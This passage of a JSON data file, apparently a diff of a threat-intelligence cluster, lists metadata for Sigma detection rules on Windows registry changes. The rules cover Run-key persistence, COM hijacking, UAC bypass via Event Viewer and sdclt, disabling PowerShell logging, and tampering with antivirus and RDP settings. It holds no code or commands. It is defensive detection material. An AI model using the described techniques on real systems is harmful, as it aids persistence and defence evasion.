"https://www.hexacorn.com/blog/2017/01/18/beyond-good-ol-run-key-part-55/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mycomputer.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/08/09", - "filename": "registry_set_persistence_mycomputer.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely but if you experience FPs add specific processes and locations you would like to monitor for" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects potential COM object hijacking leveraging the COM Search Order", - "uuid": "a0ff33d8-79e4-4cef-b4f3-9dc4133ccd12", - "value": "Windows Registry Persistence COM Search Order Hijacking", - "meta": { - "refs": [ - "https://www.cyberbit.com/blog/endpoint-security/com-hijacking-windows-overlooked-security-vulnerability/", - "https://attack.mitre.org/techniques/T1546/015/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_search_order.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.015" - ], - "creation_date": "2020/04/14", - "filename": "registry_set_persistence_search_order.yml", - "author": "Maxime Thiebaut (@0xThiebaut), oscd.community, C\u00e9dric Hien", - "level": "medium", - "falsepositive": [ - "Some installed utilities (i.e. OneDrive) may serve new COM objects at user-level" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry from a non standard application. Which might indicate persistence attempt", - "uuid": "086ae989-9ca6-4fe7-895a-759c5544f247", - "value": "Persistence Via TypedPaths", - "meta": { - "refs": [ - "https://twitter.com/dez_/status/1560101453150257154", - "https://forensafe.com/blogs/typedpaths.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_typed_paths.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/08/22", - "filename": "registry_set_persistence_typed_paths.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects tampering with attachment manager settings policies associations to lower the default file type risks (See reference for more information)", - "uuid": "a9b6c011-ab69-4ddb-bc0a-c4f21c80ec47", - "value": "Modify Attachment Manager Settings - Associations", - "meta": { - "refs": [ - "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738", - "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_associations_tamper.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/08/01", - "filename": "registry_set_policies_associations_tamper.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects tampering with attachment manager settings policies attachments (See reference for more information)", - "uuid": "ee77a5db-b0f3-4be2-bfd4-b58be1c6b15a", - "value": "Modify Attachment Manager Settings - Attachments", - "meta": { - "refs": [ - "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738", - "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_attachments_tamper.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/08/01", - "filename": "registry_set_policies_attachments_tamper.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects that a powershell code is written to the registry as a service.", - "uuid": "4a5f5a5e-ac01-474b-9b4e-d61298c9df1d", - "value": "PowerShell as a Service in Registry", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_as_service.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002" - ], - "creation_date": "2020/10/06", - "filename": "registry_set_powershell_as_service.yml", - "author": "oscd.community, Natalia Shornikova", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Adds a RUN key that contains a powershell keyword", - "uuid": "8d85cf08-bf97-4260-ba49-986a2a65129c", - "value": "Powershell in Windows Run Keys", - "meta": { - "refs": [ - "https://github.com/frack113/atomic-red-team/blob/a9051c38de8a5320b31c7039efcbd3b56cf2d65a/atomics/T1547.001/T1547.001.md#atomic-test-9---systembc-malware-as-a-service-registry", - "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_in_run_keys.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2022/03/17", - "filename": "registry_set_powershell_in_run_keys.yml", - "author": "frack113, Florian Roth", - "level": "medium", - "falsepositive": [ - "Legitimate admin or third party scripts" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the modification of the registry of the currently logged in user to disable PowerShell module logging, script block logging or transcription and script execution logging", - "uuid": "fecfd1a1-cc78-4313-a1ea-2ee2e8ec27a7", - "value": "PowerShell Logging Disabled", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-32---windows-powershell-logging-disabled", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_logging_disabled.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.001" - ], - "creation_date": "2022/04/02", - "filename": "registry_set_powershell_logging_disabled.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when a new custom protocole handler is registered", - "uuid": "fdbf0b9d-0182-4c43-893b-a1eaab92d085", - "value": "Newly Registered Protocol Handler", - "meta": { - "refs": [ - "https://ladydebug.com/blog/2019/06/21/custom-protocol-handler-cph/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_register_custom_protocol_handler.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2022/05/30", - "filename": "registry_set_register_custom_protocol_handler.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate applications registering a new custom protocol handler" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects non-sysinternals tools setting the \"accepteula\" key which normally is set on sysinternals tool execution", - "uuid": "8023f872-3f1d-4301-a384-801889917ab4", - "value": "Usage of Renamed Sysinternals Tools - RegistrySet", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_renamed_sysinternals_eula_accepted.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1588.002" - ], - "creation_date": "2022/08/24", - "filename": "registry_set_renamed_sysinternals_eula_accepted.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute", - "uuid": "fe20dda1-6f37-4379-bbe0-a98d400cae90", - "value": "Scrobj.dll COM Hijacking", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scrobj_dll_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.015" - ], - "creation_date": "2022/08/20", - "filename": "registry_set_scrobj_dll_persistence.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use of the dll." - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects registry key established after masqueraded .scr file execution using Rundll32 through desk.cpl", - "uuid": "40b6e656-4e11-4c0c-8772-c1cc6dae34ce", - "value": "ScreenSaver Registry Key Set", - "meta": { - "refs": [ - "https://twitter.com/VakninHai/status/1517027824984547329", - "https://twitter.com/pabraeken/status/998627081360695297", - "https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2022/05/04", - "filename": "registry_set_scr_file_executed_by_rundll32.yml", - "author": "Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)", - "level": "medium", - "falsepositive": [ - "Legitimate use of screen saver" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects changes to the \"ServiceDLL\" value related to a service in the registry. This is often used as a method of persistence.", - "uuid": "612e47e9-8a59-43a6-b404-f48683f45bd6", - "value": "ServiceDll Hijack", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md#atomic-test-4---tinyturla-backdoor-service-w64time", - "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_servicedll_hijack.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2022/02/04", - "filename": "registry_set_servicedll_hijack.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Administrative scripts", - "Installation of a service" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique)", - "uuid": "1c3121ed-041b-4d97-a075-07f54f20fb4a", - "value": "Registry Explorer Policy Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_set_nopolicies_user.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2022/03/18", - "filename": "registry_set_set_nopolicies_user.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate admin script" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time\n", - "uuid": "dfb5b4e8-91d0-4291-b40a-e3b0d3942c45", - "value": "Registry Key Creation or Modification for Shim DataBase", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-3---registry-key-creation-andor-modification-events-for-sdb", - "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_shim_databases_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.011" - ], - "creation_date": "2021/12/30", - "filename": "registry_set_shim_databases_persistence.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects changes to the Registry in which a monitor program gets registered to monitor the exit of another process", - "uuid": "c81fe886-cac0-4913-a511-2822d72ff505", - "value": "SilentProcessExit Monitor Registration", - "meta": { - "refs": [ - "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", - "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_silentprocessexit.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.012" - ], - "creation_date": "2021/02/26", - "filename": "registry_set_silentprocessexit.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", - "uuid": "5a2b21ee-6aaa-4234-ac9d-59a59edf90a1", - "value": "Persistence Via New SIP Provider", - "meta": { - "refs": [ - "https://persistence-info.github.io/Data/codesigning.html", - "https://github.com/gtworek/PSBits/tree/master/SIP", - "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sip_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.t1553.003" - ], - "creation_date": "2022/07/21", - "filename": "registry_set_sip_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate SIP being registered by the OS or different software." - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects tamper attempts to sophos av functionality via registry key modification", - "uuid": "9f4662ac-17ca-43aa-8f12-5d7b989d0101", - "value": "Tamper With Sophos AV Registry Keys", - "meta": { - "refs": [ - "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sophos_av_tamaper.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/09/02", - "filename": "registry_set_sophos_av_tamaper.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Some FP may occure when the feature is disabled by the AV itself, you should always investigate if the action was legitimate" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker set the registry key \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\" to \"0\" in order to hide user account.", - "uuid": "f8aebc67-a56d-4ec9-9fbe-7b0e8b7b4efd", - "value": "Hide User Account Via Special Accounts Reg Key", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_special_accounts.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.002" - ], - "creation_date": "2022/07/12", - "filename": "registry_set_special_accounts.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detect set UseActionCenterExperience to 0 to disable the windows security center notification", - "uuid": "0c93308a-3f1b-40a9-b649-57ea1a1c1d63", - "value": "Disable Windows Security Center Notifications", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suppress_defender_notifications.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2022/08/19", - "filename": "registry_set_suppress_defender_notifications.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects changes to the \"Default\" property for keys located in the \\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\ registry. Which might be used as a method of persistence\nThe entries found under App Paths are used primarily for the following purposes.\nFirst, to map an application's executable file name to that file's fully qualified path.\nSecond, to pre-pend information to the PATH environment variable on a per-application, per-process basis.\n", - "uuid": "707e097c-e20f-4f67-8807-1f72ff4500d6", - "value": "Suspicious Values In App Paths Default Property", - "meta": { - "refs": [ - "https://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", - "https://docs.microsoft.com/en-us/windows/win32/shell/app-registration?redirectedfrom=MSDN", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_app_paths_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.012" - ], - "creation_date": "2022/08/10", - "filename": "registry_set_susp_app_paths_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate applications registering their binary from on of the suspicious locations mentioned above (tune it)" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the keyboard preload installation with a suspicious keyboard layout, e.g. Chinese, Iranian or Vietnamese layout load in user session on systems maintained by US staff only", - "uuid": "34aa0252-6039-40ff-951f-939fd6ce47d8", - "value": "Suspicious Keyboard Layout Load", - "meta": { - "refs": [ - "https://renenyffenegger.ch/notes/Windows/registry/tree/HKEY_CURRENT_USER/Keyboard-Layout/Preload/index", - "https://github.com/SwiftOnSecurity/sysmon-config/pull/92/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_keyboard_layout_load.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1588.002" - ], - "creation_date": "2019/10/12", - "filename": "registry_set_susp_keyboard_layout_load.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Administrators or users that actually use the selected keyboard layouts (heavily depends on the organisation's user base)" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious printer driver installation with an empty Manufacturer value", - "uuid": "e0813366-0407-449a-9869-a2db1119dc41", - "value": "Suspicious Printer Driver Empty Manufacturer", - "meta": { - "refs": [ - "https://twitter.com/SBousseaden/status/1410545674773467140", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_printer_driver.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1574", - "cve.2021.1675" - ], - "creation_date": "2020/07/01", - "filename": "registry_set_susp_printer_driver.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Alerts on legitimate printer drivers that do not set any more details in the Manufacturer value" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder", - "uuid": "b7916c2a-fa2f-4795-9477-32b731f70f11", - "value": "Registry Persistence via Explorer Run Key", - "meta": { - "refs": [ - "https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_reg_persist_explorer_run.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2018/07/18", - "filename": "registry_set_susp_reg_persist_explorer_run.yml", - "author": "Florian Roth, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious new RUN key element pointing to an executable in a suspicious folder", - "uuid": "02ee49e2-e294-4d0f-9278-f5b3212fc588", - "value": "New RUN Key Pointing to Suspicious Folder", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_run_key_img_folder.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2018/08/25", - "filename": "registry_set_susp_run_key_img_folder.yml", - "author": "Florian Roth, Markus Neis, Sander Wiebing", - "level": "high", - "falsepositive": [ - "Software using weird folders for updates" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders.\nBoth services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU)\n", - "uuid": "f2485272-a156-4773-82d7-1d178bc4905b", - "value": "Suspicious Service Installed", - "meta": { - "refs": [ - "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_service_installed.yml" - ], - "tags": [ - "attack.t1562.001", - "attack.defense_evasion" - ], - "creation_date": "2019/04/08", - "filename": "registry_set_susp_service_installed.yml", - "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", - "level": "medium", - "falsepositive": [ - "Other legimate tools using this service names and drivers. Note - clever attackers may easily bypass this detection by just renaming the services. Therefore just Medium-level and don't rely on it." - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detect modification of the startup key to a path where a payload could be stored to be launched during startup", - "uuid": "9c226817-8dc9-46c2-a58d-66655aafd7dc", - "value": "Modify User Shell Folders Startup Value", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1547.001/T1547.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_user_shell_folders.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1547.001" - ], - "creation_date": "2022/10/01", - "filename": "registry_set_susp_user_shell_folders.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious", - "uuid": "4720b7df-40c3-48fd-bbdf-fd4b3c464f0d", - "value": "Scheduled TaskCache Change by Uncommon Program", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://labs.f-secure.com/blog/scheduled-task-tampering/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_taskcache_entry.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053", - "attack.t1053.005" - ], - "creation_date": "2021/06/18", - "filename": "registry_set_taskcache_entry.yml", - "author": "Syed Hasan (@syedhasan009)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects persistence method using windows telemetry", - "uuid": "73a883d0-0348-4be4-a8d8-51031c2564f8", - "value": "Registry Persistence Mechanism via Windows Telemetry", - "meta": { - "refs": [ - "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_telemetry_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053.005" - ], - "creation_date": "2020/10/16", - "filename": "registry_set_telemetry_persistence.yml", - "author": "Lednyov Alexey, oscd.community", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects tampering to RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc", - "uuid": "a2863fbc-d5cb-48d5-83fb-d976d4b1743b", - "value": "RDP Sensitive Settings Changed", - "meta": { - "refs": [ - "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", - "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", - "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", - "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190407183310.html", - "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", - "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", - "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_suspicious.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1112" - ], - "creation_date": "2022/09/29", - "filename": "registry_set_terminal_server_suspicious.yml", - "author": "Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects tampering to RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc", - "uuid": "3f6b7b62-61aa-45db-96bd-9c31b36b653c", - "value": "RDP Sensitive Settings Changed", - "meta": { - "refs": [ - "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", - "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", - "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", - "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190407183310.html", - "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", - "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", - "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_tampering.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1112" - ], - "creation_date": "2022/08/06", - "filename": "registry_set_terminal_server_tampering.yml", - "author": "Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProvider.\nAdversaries may abuse time providers to execute DLLs when the system boots.\nThe Windows Time service (W32Time) enables time synchronization across and within domains.\n", - "uuid": "e88a6ddc-74f7-463b-9b26-f69fc0d2ce85", - "value": "Set TimeProviders DllName", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.003/T1547.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_timeproviders_dllname.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1547.003" - ], - "creation_date": "2022/06/19", - "filename": "registry_set_timeproviders_dllname.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detect modification of TreatAs key to enable \"rundll32.exe -sta\" command", - "uuid": "dc5c24af-6995-49b2-86eb-a9ff62199e82", - "value": "COM Hijacking via TreatAs", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md", - "https://www.youtube.com/watch?v=3gz1QmiMhss&t=1251s", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.015" - ], - "creation_date": "2022/08/28", - "filename": "registry_set_treatas_persistence.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects UAC bypass method using Windows event viewer", - "uuid": "7c81fec3-1c1d-43b0-996a-46753041b1b6", - "value": "UAC Bypass via Event Viewer", - "meta": { - "refs": [ - "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", - "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_eventvwr.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002", - "car.2019-04-001" - ], - "creation_date": "2017/03/19", - "filename": "registry_set_uac_bypass_eventvwr.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)", - "uuid": "5b872a46-3b90-45c1-8419-f675db8053aa", - "value": "UAC Bypass via Sdclt", - "meta": { - "refs": [ - "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", - "https://github.com/hfiref0x/UACME", - 